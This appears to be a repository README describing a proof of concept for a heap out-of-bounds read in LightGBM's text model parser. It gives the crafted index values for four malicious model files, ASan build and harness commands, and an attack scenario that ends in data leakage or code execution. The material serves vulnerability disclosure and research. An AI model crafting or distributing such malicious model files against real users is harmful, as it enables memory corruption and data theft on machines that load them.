YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

LightGBM Model File Parser β€” Heap Out-of-Bounds Read PoC

Vulnerability Summary

Class: AI/ML Model Parser Trusts File-Controlled Indices β†’ Heap OOB Read Component: Microsoft LightGBM (v4.x, latest main branch) Root Cause: Tree::Tree(const char*, size_t*) in src/io/tree.cpp parses left_child, right_child, split_feature, and threshold arrays from text model files without validating that the integer values are within legal ranges. At prediction time, Tree::GetLeaf() in include/LightGBM/tree.h uses these values as array indices with no bounds checks, causing heap-buffer-overflow reads.

CVE: Related to CVE-2024-43598 (LightGBM model file parsing) Affected Functions:

  • Tree::GetLeaf() β€” tree.h:702-714 (main traversal, indexes split_feature_[node])
  • Tree::NumericalDecision() β€” tree.h:338-356 (indexes threshold_[node], decision_type_[node])
  • Tree::LeafOutput() β€” tree.h:92 (indexes leaf_value_[leaf])
  • Tree::Decision() β€” tree.h:402-408 (dispatches based on decision_type_[node])

Crash Variants

File Tampered Field Evil Value Crash Location
malicious_oob_left.txt left_child[0] 100 Tree::GetLeaf (tree.h:710) β€” OOB on split_feature_[100]
malicious_oob_right.txt right_child[0] 200 Tree::GetLeaf (tree.h:710) β€” OOB on split_feature_[200]
malicious_oob_leaf.txt left_child[0] -100 Tree::LeafOutput (tree.h:92) β€” OOB on leaf_value_[99]
malicious_oob_split_feature.txt split_feature[0] 9999 Tree::GetLeaf (tree.h:710) β€” OOB on feature_values[9999]

All 4 variants confirmed with ASan heap-buffer-overflow READ.

How to Reproduce

Prerequisites

  • clang with ASan support
  • Python 3.12+ with lightgbm package (for training base model)

Quick Start

# 1. Build LightGBM with ASan
cd lightgbm-real/build
CC=clang CXX=clang++ cmake .. \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" \
  -DCMAKE_C_FLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
  -DBUILD_STATIC_LIB=ON
make -j$(nproc)

# 2. Generate malicious models
python3 gen_poc_model.py

# 3. Build C++ harness
clang++ -fsanitize=address -g -O0 -fno-omit-frame-pointer -fopenmp \
  -I../../lightgbm-real/include \
  poc_harness.cpp \
  ../../lightgbm-real/lib_lightgbm.a \
  ../../lightgbm-real/build/external_libs/nanoarrow/libnanoarrow_static.a \
  -o poc_harness -lpthread -ldl -lm

# 4. Run (input values force left-child traversal β†’ OOB)
ASAN_OPTIONS=detect_leaks=0 ./poc_harness malicious_oob_left.txt 3

Or use build_and_test.sh for the full automated flow.

Python Reproduction

python3 poc_harness.py malicious_oob_left.txt

Note: Python binding loads the prebuilt shared library, so ASan traces depend on whether lib_lightgbm was built with sanitizers.

Attack Scenario

  1. Attacker crafts a malicious LightGBM text model file (this PoC automates it)
  2. Victim loads the model via lgb.Booster(model_file='malicious.txt') or C API
  3. Any prediction on the model triggers heap OOB read
  4. Attacker can potentially leak sensitive data from heap or achieve code execution via controlled OOB index values

Files

File Description
gen_poc_model.py Generates malicious model variants from a valid base model
poc_harness.cpp C++ test harness using LightGBM C API
poc_harness.py Python test harness using lightgbm Python binding
build_and_test.sh Automated build + test script
valid_model.txt Valid LightGBM model (trained on synthetic data)
malicious_*.txt 4 crafted malicious model files
asan_traces.txt Full ASan crash traces for all variants
azure_impact.md Azure ML / Microsoft ecosystem impact analysis
README.md This file

Root Cause Analysis

LightGBM model files are text-based with key=value arrays per tree:

Tree=0
num_leaves=4
left_child=2 -2 -1
right_child=1 -3 -4
split_feature=1 0 0
threshold=-0.23 -0.45 -1e-35

During parsing (tree.cpp:690-871):

  • Arrays are sized to num_leaves - 1 elements βœ“
  • But the VALUES in those arrays are never validated βœ—

During prediction (tree.h:702-714):

int node = 0;
while (node >= 0) {  // Only sign check, no upper bound!
    node = NumericalDecision(feature_values[split_feature_[node]], node);
}
return ~node;
  • split_feature_[node] is indexed without node < num_leaves_ - 1 check
  • The returned child index becomes the next node without bounds validation
  • Negative values index leaf_value_ via ~node without |leaf| < num_leaves_ check

This is the systemic AI/ML model parser vulnerability class: binary/text format loaders trust file-controlled indices to index heap-allocated arrays.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support